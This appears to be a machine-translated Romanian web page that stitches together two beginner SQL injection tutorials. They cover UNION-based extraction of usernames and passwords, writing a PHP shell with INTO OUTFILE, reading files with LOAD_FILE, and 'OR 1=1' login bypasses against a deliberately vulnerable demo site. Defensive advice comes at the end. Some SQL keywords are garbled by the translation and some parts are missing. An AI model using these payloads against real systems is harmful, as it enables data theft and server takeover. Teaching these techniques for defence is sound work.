Mama, după ce a citit biletul, a decis că i-a dat bani lui Vasya ieri și i-a dat 100 de ruble lui Petya. Iată un exemplu simplu de injecție SQL din viață:) Fără a filtra datele (mama abia putea înțelege scrisul de mână), Petya a făcut profit.

Pregătirea
Pentru practică, veți avea nevoie de o arhivă cu scripturile sursă pentru acest articol. Descărcați-l și despachetați-l pe server. De asemenea, importați baza de date și setați datele în fișier cfg.php

Caută injecție SQL

După cum ați înțeles deja, injecția provine din datele primite care nu sunt filtrate. Cea mai frecventă greșeală este de a nu filtra ID-ul transmis. Ei bine, aproximativ vorbind, pune ghilimele în toate domeniile. Fie că este o solicitare GET/POST sau chiar un cookie!

Parametru de intrare numerică
Pentru practică avem nevoie de un scenariu index1.php. După cum am spus mai sus, inserăm ghilimele în ID-ul știrilor.

Deoarece Solicitarea noastră nu are filtrare:

$id = $_GET[„id”]; $query = "SELECT * FROM news WHERE id=$id";

Scriptul va înțelege acest lucru ca

SELECTAȚI * DIN știri WHERE id=1"

Și ne va da o eroare:
Avertisment: mysql_fetch_array() se așteaptă ca parametrul 1 să fie resursă, boolean dat în C:\WebServ\domains\sqlinj\index1.php pe linia 16

Dacă eroarea nu apare, pot exista următoarele motive:

1.Injecția SQL nu este aici - ghilimelele sunt filtrate sau merită convertite (int)
2. Ieșirea de eroare este dezactivată.

Dacă tot primești o eroare - Ura! Am găsit primul tip de injecție SQL - Parametru de intrare numerică.

Parametru de intrare șir

Vom trimite cereri către index2.php. În acest fișier, cererea arată astfel:
$utilizator = $_GET[„utilizator”]; $query = "SELECT * FROM news WHERE user="$user"";

Aici selectăm știrile după numele de utilizator și, din nou, nu filtrăm.
Din nou trimitem o cerere cu o ofertă:

A dat o eroare. BINE! Aceasta înseamnă că există o vulnerabilitate. Pentru început, este suficient pentru noi - să trecem la practică.

Să luăm măsuri

Puțină teorie

Probabil că abia așteptați să obțineți ceva din asta în afară de greșeli. În primul rând, înțelegeți că semnul " -- " este considerat un comentariu în SQL.

ATENŢIE! Trebuie să existe spații înainte și după el. În URL sunt transmise ca %20

Tot ce vine după comentariu va fi eliminat, adică cererea:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Va reuși. Puteți încerca acest lucru pe script-ul index2.php trimițând o solicitare ca aceasta:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Aflați parametrul UNIUNE. În limbajul SQL cuvântul cheie UNIUNE folosit pentru a combina rezultatele a două interogări SQL într-un singur tabel. Adică pentru a scoate ceva de care avem nevoie dintr-o altă masă.

Să profităm de ea

Dacă parametrul este „Numeric”, atunci nu trebuie să trimitem o ofertă în cerere și să punem, în mod natural, un comentariu la sfârșit. Să revenim la scenariu index1.php.

Să trecem la scriptul sqlinj/index1.php?id=1 UNION SELECT 1 . Interogarea noastră în baza de date arată astfel:
SELECT * FROM news WHERE id=1 UNION SELECT 1
Și ne-a dat o eroare, pentru că... pentru a lucra cu interogări de îmbinare, avem nevoie de același număr de câmpuri.

Deoarece Nu putem influența numărul lor în prima solicitare, apoi trebuie să le selectăm numărul în a doua, astfel încât să fie egal cu prima.

Selectarea numărului de câmpuri

Selectarea câmpurilor este foarte simplă, trebuie doar să trimiteți următoarele solicitări:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Eroare…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Eroare din nou!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Nicio eroare! Aceasta înseamnă că numărul de coloane este 5.

A SE GRUPA CU
Se întâmplă adesea să fie 20 sau 40 sau chiar 60 de câmpuri. Pentru a nu trebui să le sortăm de fiecare dată, folosim A SE GRUPA CU

Dacă cererea
sqlinj/index1.php?id=1 GROUP BY 2
nu a arătat nicio eroare, ceea ce înseamnă că numărul de câmpuri este mai mare de 2. Să încercăm:

Sqlinj/index1.php?id=1 GROUP BY 8
Op, vedem o eroare, înseamnă că numărul de câmpuri este mai mic de 8.

Dacă nu există nicio eroare cu GROUP BY 4, iar cu GROUP BY 6 există o eroare, atunci numărul de câmpuri este 5

Definirea coloanelor de ieșire
Pentru a vă asigura că nu ni se afișează nimic de la prima solicitare, este suficient să înlocuiți un ID inexistent, de exemplu:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

Cu această acțiune, am determinat ce coloane sunt afișate pe pagină. Acum, pentru a înlocui aceste numere cu informațiile necesare, trebuie să continuați solicitarea.

Ieșire de date

Să presupunem că știm că tabelul încă există utilizatoriiîn care câmpurile există id, NumeȘi trece.
Trebuie să obținem informații despre utilizatorul cu ID=1

Prin urmare, să construim următoarea interogare:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM utilizatorii WHERE id=1
De asemenea, scriptul continuă să iasă

Pentru a face acest lucru, vom înlocui numele câmpurilor în locul numerelor 1 și 3

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
Avem ce ne trebuia!

Pentru „parametru de intrare șir”, ca în script index2.php trebuie să adăugați un semn de ghilimele la început și un semn de comentariu la sfârșit. Exemplu:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20

Citiți/Scrieți fișiere

Pentru a citi și scrie fișiere, utilizatorul bazei de date trebuie să aibă drepturi FILE_PRIV.
Înregistrarea fișierelor
De fapt, totul este foarte simplu. Pentru a scrie un fișier, vom folosi funcția OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Grozav, fișierul a fost înregistrat la noi. Astfel, putem umple mini-coaja:
sqlinj/index2.php?user=-1" UNION SELECT 1,"„,3,4,5 ÎN OUTFILE „1.php” --%20
Citirea fișierelor
Citirea fișierelor este chiar mai ușoară decât scrierea. Este suficient să utilizați pur și simplu funcția LOAD_FILE, pentru locul câmpului pe care îl selectăm:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Astfel, am citit dosarul scris anterior.

Metode de protecție

A te proteja este chiar mai ușor decât a exploata o vulnerabilitate. Doar filtrați datele. Dacă treceți numere, utilizați
$id = (int) $_GET["id"];
După cum a sugerat utilizatorul Malroc. Protejați-vă folosind DOP sau declarații pregătite.

În loc de finalizare

Aici vreau să termin prima mea parte despre „Injecția SQL pentru începători”. În al doilea, ne vom uita la exemple mai severe de injecții. Încercați să scrieți scripturi vulnerabile și să executați singur interogări.
Și amintiți-vă, nu aveți încredere în niciun utilizator al site-ului dvs.

Injecția SQL este un atac care exploatează instrucțiunile SQL dinamice, comentând anumite părți ale declarațiilor sau adăugând o condiție care va fi întotdeauna adevărată. Acesta vizează găuri în arhitectura aplicațiilor web și folosește instrucțiuni SQL pentru a executa cod SQL rău intenționat:

În acest articol, vom analiza tehnicile utilizate în injecțiile SQL și cum să protejăm aplicațiile web de astfel de atacuri.

Cum funcționează injecția SQL

Tipurile de atacuri care pot fi efectuate folosind injecția SQL variază în funcție de tipul de motoare de baze de date afectate. Atacul vizează instrucțiuni SQL dinamice. O instrucțiune dinamică este o instrucțiune care este creată în timpul rulării pe baza parametrilor dintr-un formular web sau dintr-un șir de interogare URI.

Luați în considerare o aplicație web simplă cu un formular de conectare. Codul formularului HTML este mai jos:

  • Formularul acceptă o adresă de e-mail și apoi parola este trimisă într-un fișier PHP numit index.php;
  • Sesiunea este stocată într-un cookie. Această caracteristică este activată prin verificarea steagului reamintiți-mă. Metoda post este folosită pentru a trimite date. Aceasta înseamnă că valorile nu sunt afișate în URL.

Să presupunem că cererea de verificare a ID-ului utilizatorului de pe partea serverului arată astfel:

  • Solicitarea folosește valorile matricei $_POST direct, fără a o dezinfecta;
  • Parola este criptată folosind algoritmul MD5.

Ne vom uita la un atac folosind injecția SQL sqlfiddle. Deschideți adresa URL http://sqlfiddle.com/ în browser. Pe ecran va apărea următoarea fereastră.

Notă: va trebui să scrieți instrucțiuni SQL:

Pasul 1: introduceți acest cod în panoul din stânga:

CREATE TABLE `users` (`id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `parola` VARCHAR(45) NULL, PRIMARY KEY (`id`)); introduceți în utilizatori (e-mail, parolă) valori (" [email protected]",md5("abc"));

Pasul 2: Faceți clic pe butonul Construiți Schema».
Pasul 3: Introduceți codul de mai jos în panoul din dreapta:

selectați * dintre utilizatori;

Pasul 4: Faceți clic pe „ Rulați SQL" Veți vedea următorul rezultat:

Să presupunem că utilizatorul furnizează o adresă de e-mail [email protected]și 1234 ca parolă. Interogarea care trebuie executată în baza de date poate arăta astfel:

Exemplul de cod de injectare SQL de mai sus poate fi ocolit comentând o parte a parolei și adăugând o condiție care va fi întotdeauna adevărată. Să presupunem că un atacator introduce următoarele date în câmpul adresei de e-mail:

[email protected]" SAU 1 = 1 LIMITĂ 1 -- " ]

și xxx în câmpul pentru parolă.

Declarația dinamică generată va arăta astfel:

  • [email protected] se termină cu un singur ghilimele, care termină șirul;
  • SAU 1 = 1 LIMIT 1 este o condiție care va fi întotdeauna adevărată și limitează rezultatele returnate la o singură înregistrare.

0; „ȘI... este un comentariu SQL care exclude partea cu parolă.

Copiați interogarea de mai sus și inserați-o în caseta de text FiddleRun SQL, așa cum se arată mai jos:

Activitate hacker: injecții SQL în aplicații web

Avem o aplicație web simplă disponibilă la http://www.techpanda.org/ care este vulnerabilă în mod special la atacurile de injecție SQL pentru începători, în scopuri demonstrative. Codul formularului HTML dat mai sus este preluat din pagina de autorizare a acestei aplicații.

Oferă securitate de bază, cum ar fi igienizarea câmpurilor de e-mail. Aceasta înseamnă că codul de mai sus nu poate fi folosit pentru a ocoli acest mecanism.

Pentru a ocoli acest lucru, puteți utiliza câmpul pentru parolă. Diagrama de mai jos prezintă pașii pe care trebuie să îi urmați:

Să presupunem că atacatorul furnizează următoarele date:

Pasul 1: Intră [email protected] ca adresă de e-mail;
Pasul 2: Introduceți xxx’) SAU 1 = 1 - ] ;

Faceți clic pe butonul „Trimite”.

Acesta va fi trimis la panoul de administrare. Interogarea generată va arăta astfel:

Diagrama de mai jos arată cum a fost generată cererea:

Aici:

  • Solicitarea presupune că se utilizează criptarea md5;
  • Se folosesc ghilimele unice de închidere și parantezele;
  • La operator se adaugă o condiție care va fi întotdeauna adevărată.

De obicei, atacatorii încearcă să folosească mai multe metode diferite într-un atac cu injecție SQL pentru a-și atinge obiectivele.

Alte tipuri de atacuri cu injecție SQL

Injecțiile SQL pot provoca mult mai multe daune decât conectarea la un sistem prin ocolirea mecanismului de autorizare. Unele dintre aceste atacuri pot:

  • Efectuați ștergerea datelor;
  • Efectuează actualizarea datelor;
  • Adăugați date;
  • Executați comenzi pe server care vor descărca și instala programe rău intenționate;
  • Exportați date valoroase, cum ar fi detaliile cardului de credit, e-mailul și parolele pe serverul de la distanță al atacatorului.

Lista de mai sus nu este completă. Pur și simplu oferă o idee despre pericolele pe care le prezintă injecțiile SQL.

Instrumente pentru automatizarea injectărilor SQL

În exemplul de mai sus, am folosit metode de atac manual. Înainte de a efectua o injecție SQL, trebuie să înțelegeți că există instrumente automate care vă permit să efectuați atacuri mai eficient și mai rapid:

  • SQLSmack;
  • SQLPing 2;
  • SQLMap.

Cum să preveniți injecțiile SQL

Iată câteva reguli simple pentru a vă proteja împotriva atacurilor prin injecție SQL:

Intrarea utilizatorului nu trebuie să fie de încredere. Întotdeauna trebuie să fie dezinfectat înainte ca datele să fie utilizate în operațiuni SQL dinamice.

Proceduri stocate- Pot încapsula interogări SQL și pot procesa toate datele de intrare ca parametri.

Interogări pregătite- Interogările sunt create mai întâi, iar apoi toate datele furnizate de utilizator sunt procesate ca parametri. Acest lucru nu afectează sintaxa instrucțiunii SQL.

Expresii obisnuite- poate fi folosit pentru a detecta codul potențial rău intenționat și pentru a-l elimina înainte de a executa instrucțiuni SQL.

Drepturi de acces pentru a vă conecta la baza de date- la protejați împotriva injecțiilor SQL, conturilor care sunt folosite pentru a se conecta la baza de date ar trebui să li se acorde numai drepturile de acces necesare. Acest lucru va ajuta la limitarea acțiunilor pe care instrucțiunile SQL le pot efectua pe server.

Mesaje de eroare- nu trebuie să dezvăluie informații confidențiale. Mesaje de eroare personalizate simple, cum ar fi „ Ne pare rău, a apărut o eroare tehnică. Echipa de asistență a fost deja anunțată despre asta. Vă rugăm să încercați din nou mai târziu" poate fi folosit în loc să afișeze interogările SQL care au cauzat eroarea.